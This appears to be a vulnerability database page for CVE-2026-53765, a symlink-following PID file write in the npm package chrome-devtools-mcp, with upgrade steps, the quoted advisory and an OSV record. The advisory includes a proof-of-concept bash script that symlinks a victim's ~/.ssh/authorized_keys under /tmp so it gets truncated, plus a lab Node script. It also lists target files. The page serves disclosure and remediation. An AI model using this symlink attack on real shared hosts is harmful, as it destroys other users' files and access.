CVE-2026-53765: Chrome DevTools for agents Daemon.pid Write Follows Symlinks Vulnerability

MODERATE
Advisory Identifier: GHSA-3pvj-jv98-qhjq
CVSS 6.1
CWE-59
Published
Advisory Summary

CVE-2026-53765 is a MODERATE (CVSS 6.1) daemon.pid write follows symlinks vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting Chrome DevTools for agents libraries in the npm ecosystem. The issue involves daemon.pid write follows symlinks in /tmp fallback runtime directory. Remediation is available by upgrading affected packages to version 1.1.0.

CVE-2026-53765 at a Glance

CVE Identifier CVE-2026-53765
GHSA Identifier GHSA-3pvj-jv98-qhjq
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product Chrome DevTools for agents
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-53765

To remediate this vulnerability, upgrade all affected Chrome DevTools for agents dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

chrome-devtools-mcp fixed: 1.1.0
npm install chrome-devtools-mcp@1.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls chrome-devtools-mcp

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-53765, inspect your project dependencies using npm:

npm ls chrome-devtools-mcp

Analyze the terminal output to locate any version of Chrome DevTools for agents in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.0), your application is affected.

Note: The npm ls chrome-devtools-mcp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In Chrome DevTools for agents, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The chrome-devtools-mcp daemon writes its PID file with `fs.writeFileSync()` to a deterministic runtime path. On typical macOS environments, and on Linux sessions where `$XDG_RUNTIME_DIR` is unset, that runtime path falls back to `/tmp/chrome-devtools-mcp-<uid>/daemon.pid`. Because the write does not use `O_NOFOLLOW`, a local low-privilege user on the same POSIX host can pre-create `/tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid` as a symlink to a file writable by the victim. When the victim later starts daemon mode, `fs.writeFileSync()` follows the symlink and truncates the target file to the daemon PID string. This report is deliberately scoped to POSIX systems where the daemon falls back to `/tmp`: typical macOS environments and Linux sessions without `$XDG_RUNTIME_DIR`. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements. ### Details Affected code: `src/daemon/daemon.ts:38-42` ```ts const pidFilePath = getPidFilePath(sessionId); fs.mkdirSync(path.dirname(pidFilePath), { recursive: true, }); fs.writeFileSync(pidFilePath, process.pid.toString()); ``` `src/daemon/utils.ts:49-68` ```ts export function getRuntimeHome(sessionId: string): string { const platform = os.platform(); const uid = os.userInfo().uid; const suffix = sessionId ? `-${sessionId}` : ''; const appName = APP_NAME + suffix; if (process.env.XDG_RUNTIME_DIR) { return path.join(process.env.XDG_RUNTIME_DIR, appName); } if (platform === 'darwin' || platform === 'linux') { return path.join('/tmp', `${appName}-${uid}`); } return path.join(os.tmpdir(), appName); } ``` The `/tmp` sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under `/tmp`. If an attacker creates `/tmp/chrome-devtools-mcp-<victim_uid>/` first and places a symlink at `daemon.pid`, the victim's daemon process follows that link when writing the PID. Preconditions: - The victim is on a typical macOS environment where `$XDG_RUNTIME_DIR` is unset, or on a Linux system/session where `$XDG_RUNTIME_DIR` is unset. - The attacker has any local user account on the same host. - The victim later runs a `chrome-devtools` CLI path or MCP integration that starts daemon mode. ### PoC Realistic POSIX scenario: ```bash # Attacker, before victim starts daemon mode. victim_uid=1000 mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}" chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}" ln -s "/home/victim/.ssh/authorized_keys" \ "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid" # Victim later starts daemon mode. chrome-devtools start # Result: # fs.writeFileSync follows the symlink, so authorized_keys is truncated to # the daemon PID string. ``` Lab-only PoC that touches only a fresh `os.tmpdir()/cdtmcp-lab-*` directory: ```js const fs = require('node:fs'); const os = require('node:os'); const path = require('node:path'); const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-')); try { fs.chmodSync(lab, 0o755); const victimSecret = path.join(lab, 'victim-secret.txt'); fs.writeFileSync( victimSecret, 'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n', ); const runtimeDir = path.join(lab, 'attacker-pre-created'); fs.mkdirSync(runtimeDir, {recursive: true}); const pidFilePath = path.join(runtimeDir, 'daemon.pid'); fs.symlinkSync(victimSecret, pidFilePath); // Exact pattern from src/daemon/daemon.ts:39-42. fs.mkdirSync(path.dirname(pidFilePath), {recursive: true}); fs.writeFileSync(pidFilePath, process.pid.toString()); console.log(fs.readFileSync(victimSecret, 'utf8')); // -> "<pid>" (victim file was truncated/overwritten) } finally { fs.rmSync(lab, {recursive: true, force: true}); } ``` Observed output from the lab PoC: ```text [setup] victim secret BEFORE attack: IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED [attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret> [victim ran daemon] victim secret AFTER: <pid> [lstat pidFile] still symlink [outcome] victim file was overwritten via attacker-placed symlink. ``` I can provide the standalone `pidfile_symlink_poc.cjs` file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards. ### Impact Who can exploit: Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when `$XDG_RUNTIME_DIR` is unset for that user session. Security impact: - Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string. - Availability: critical user configuration files can be corrupted until restored from backup. - Confidentiality: none directly; the written content is only the PID string. Example targets affected by truncation: - `~/.ssh/authorized_keys`, causing the victim to lose SSH access. - `~/.bashrc`, `~/.zshrc`, or `~/.profile`, breaking shell startup. - Project `.env`, `secrets.json`, license files, or line-oriented config files. - Logs or local audit files writable by the victim. Suggested fix: Open the PID file with `O_NOFOLLOW` and validate runtime directory ownership/permissions before writing: ```ts import {constants, openSync, writeSync, closeSync} from 'node:fs'; const fd = openSync( pidFilePath, constants.O_WRONLY | constants.O_CREAT | constants.O_TRUNC | constants.O_NOFOLLOW, 0o600, ); writeSync(fd, process.pid.toString()); closeSync(fd); ```

CVE-2026-53765 Affected Chrome DevTools for agents Versions

1 component(s)
Fixed Versions:
1.1.0
Product / Package Ecosystem Affected Versions Fixed Version
chrome-devtools-mcp
npm
≥ 0.20.0
< 1.1.0
1.1.0

References

Frequently Asked Questions

What is CVE-2026-53765?
CVE-2026-53765 is a security vulnerability in Chrome DevTools for agents involving daemon.pid write follows symlinks in /tmp fallback runtime directory under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which Chrome DevTools for agents versions are affected?
Affected versions include releases prior to 1.1.0 across affected packages: chrome-devtools-mcp.
What version fixes CVE-2026-53765?
Upgrading to 1.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is chrome-devtools-mcp affected?
Yes, chrome-devtools-mcp is affected in releases prior to 1.1.0. Upgrade your dependency to 1.1.0 or later.
What is the CVSS score of CVE-2026-53765?
CVE-2026-53765 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L.
What CWE is associated with CVE-2026-53765?
CVE-2026-53765 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check npm dependencies for CVE-2026-53765?
Run the dependency tree command: 'npm ls chrome-devtools-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3pvj-jv98-qhjq",
  "modified" : "2026-07-21T13:41:41Z",
  "published" : "2026-06-17T14:01:04Z",
  "aliases" : [ "CVE-2026-53765" ],
  "summary" : "Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory",
  "details" : "### Summary\n\nThe chrome-devtools-mcp daemon writes its PID file with `fs.writeFileSync()` to a deterministic runtime path. On typical macOS environments, and on Linux sessions where `$XDG_RUNTIME_DIR` is unset, that runtime path falls back to `/tmp/chrome-devtools-mcp-<uid>/daemon.pid`.\n\nBecause the write does not use `O_NOFOLLOW`, a local low-privilege user on the same POSIX host can pre-create `/tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid` as a symlink to a file writable by the victim. When the victim later starts daemon mode, `fs.writeFileSync()` follows the symlink and truncates the target file to the daemon PID string.\n\nThis report is deliberately scoped to POSIX systems where the daemon falls back to `/tmp`: typical macOS environments and Linux sessions without `$XDG_RUNTIME_DIR`. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.\n\n### Details\n\nAffected code:\n\n`src/daemon/daemon.ts:38-42`\n\n```ts\nconst pidFilePath = getPidFilePath(sessionId);\nfs.mkdirSync(path.dirname(pidFilePath), {\n  recursive: true,\n});\nfs.writeFileSync(pidFilePath, process.pid.toString());\n```\n\n`src/daemon/utils.ts:49-68`\n\n```ts\nexport function getRuntimeHome(sessionId: string): string {\n  const platform = os.platform();\n  const uid = os.userInfo().uid;\n  const suffix = sessionId ? `-${sessionId}` : '';\n  const appName = APP_NAME + suffix;\n\n  if (process.env.XDG_RUNTIME_DIR) {\n    return path.join(process.env.XDG_RUNTIME_DIR, appName);\n  }\n\n  if (platform === 'darwin' || platform === 'linux') {\n    return path.join('/tmp', `${appName}-${uid}`);\n  }\n\n  return path.join(os.tmpdir(), appName);\n}\n```\n\nThe `/tmp` sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under `/tmp`. If an attacker creates `/tmp/chrome-devtools-mcp-<victim_uid>/` first and places a symlink at `daemon.pid`, the victim's daemon process follows that link when writing the PID.\n\nPreconditions:\n\n- The victim is on a typical macOS environment where `$XDG_RUNTIME_DIR` is unset, or on a Linux system/session where `$XDG_RUNTIME_DIR` is unset.\n- The attacker has any local user account on the same host.\n- The victim later runs a `chrome-devtools` CLI path or MCP integration that starts daemon mode.\n\n### PoC\n\nRealistic POSIX scenario:\n\n```bash\n# Attacker, before victim starts daemon mode.\nvictim_uid=1000\nmkdir -p \"/tmp/chrome-devtools-mcp-${victim_uid}\"\nchmod 0755 \"/tmp/chrome-devtools-mcp-${victim_uid}\"\nln -s \"/home/victim/.ssh/authorized_keys\" \\\n      \"/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid\"\n\n# Victim later starts daemon mode.\nchrome-devtools start\n\n# Result:\n# fs.writeFileSync follows the symlink, so authorized_keys is truncated to\n# the daemon PID string.\n```\n\nLab-only PoC that touches only a fresh `os.tmpdir()/cdtmcp-lab-*` directory:\n\n```js\nconst fs = require('node:fs');\nconst os = require('node:os');\nconst path = require('node:path');\n\nconst lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));\n\ntry {\n  fs.chmodSync(lab, 0o755);\n\n  const victimSecret = path.join(lab, 'victim-secret.txt');\n  fs.writeFileSync(\n    victimSecret,\n    'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\\n',\n  );\n\n  const runtimeDir = path.join(lab, 'attacker-pre-created');\n  fs.mkdirSync(runtimeDir, {recursive: true});\n\n  const pidFilePath = path.join(runtimeDir, 'daemon.pid');\n  fs.symlinkSync(victimSecret, pidFilePath);\n\n  // Exact pattern from src/daemon/daemon.ts:39-42.\n  fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});\n  fs.writeFileSync(pidFilePath, process.pid.toString());\n\n  console.log(fs.readFileSync(victimSecret, 'utf8'));\n  // -> \"<pid>\"  (victim file was truncated/overwritten)\n} finally {\n  fs.rmSync(lab, {recursive: true, force: true});\n}\n```\n\nObserved output from the lab PoC:\n\n```text\n[setup] victim secret BEFORE attack:\n  IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>\n[victim ran daemon] victim secret AFTER:\n  <pid>\n[lstat pidFile] still symlink\n[outcome] victim file was overwritten via attacker-placed symlink.\n```\n\nI can provide the standalone `pidfile_symlink_poc.cjs` file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.\n\n### Impact\n\nWho can exploit:\n\nAny local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when `$XDG_RUNTIME_DIR` is unset for that user session.\n\nSecurity impact:\n\n- Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.\n- Availability: critical user configuration files can be corrupted until restored from backup.\n- Confidentiality: none directly; the written content is only the PID string.\n\nExample targets affected by truncation:\n\n- `~/.ssh/authorized_keys`, causing the victim to lose SSH access.\n- `~/.bashrc`, `~/.zshrc`, or `~/.profile`, breaking shell startup.\n- Project `.env`, `secrets.json`, license files, or line-oriented config files.\n- Logs or local audit files writable by the victim.\n\nSuggested fix:\n\nOpen the PID file with `O_NOFOLLOW` and validate runtime directory ownership/permissions before writing:\n\n```ts\nimport {constants, openSync, writeSync, closeSync} from 'node:fs';\n\nconst fd = openSync(\n  pidFilePath,\n  constants.O_WRONLY |\n    constants.O_CREAT |\n    constants.O_TRUNC |\n    constants.O_NOFOLLOW,\n  0o600,\n);\nwriteSync(fd, process.pid.toString());\ncloseSync(fd);\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "chrome-devtools-mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.20.0"
      }, {
        "fixed" : "1.1.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ChromeDevTools/chrome-devtools-mcp/security/advisories/GHSA-3pvj-jv98-qhjq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53765"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ChromeDevTools/chrome-devtools-mcp"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-59" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-17T14:01:04Z",
    "nvd_published_at" : "2026-06-24T22:16:47Z"
  }
}